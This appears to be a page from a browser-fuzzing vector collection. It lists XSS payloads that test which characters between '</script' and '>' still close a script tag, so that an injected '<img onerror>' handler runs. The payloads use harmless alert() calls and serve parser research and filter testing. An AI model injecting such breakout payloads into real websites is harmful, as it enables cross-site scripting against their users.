Characters allowed while closing script tag

This vector shows what characters are between the `</script` and `>` while inside script tag

Novice Fuzzer

Created byAyushXtha

Created Oct 27, 2025

Updated Oct 27, 2025

Unable to render tweet button

Detecting browser...

CategoryHTML Parsing

VisibilityPublic

TypeXSS

CharsetUTF-8

Template used:

<script>0x0D
a="</script$[chr]><img src=data: onerror=log($[i])>"0x0D
</script>

Sample payloads

<script>0x0D
a="</script0x09><img src=data: onerror=alert(9)>"0x0D
</script>

<script>0x0D
a="</script0x0C><img src=data: onerror=alert(12)>"0x0D
</script>

<script>0x0D
a="</script0x0D><img src=data: onerror=alert(13)>"0x0D
</script>

<script>0x0D
a="</script
><img src=data: onerror=alert(10)>"0x0D
</script>

<script>0x0D
a="</script ><img src=data: onerror=alert(32)>"0x0D
</script>

<script>0x0D
a="</script>><img src=data: onerror=alert(62)>"0x0D
</script>

<script>0x0D
a="</script/><img src=data: onerror=alert(47)>"0x0D
</script>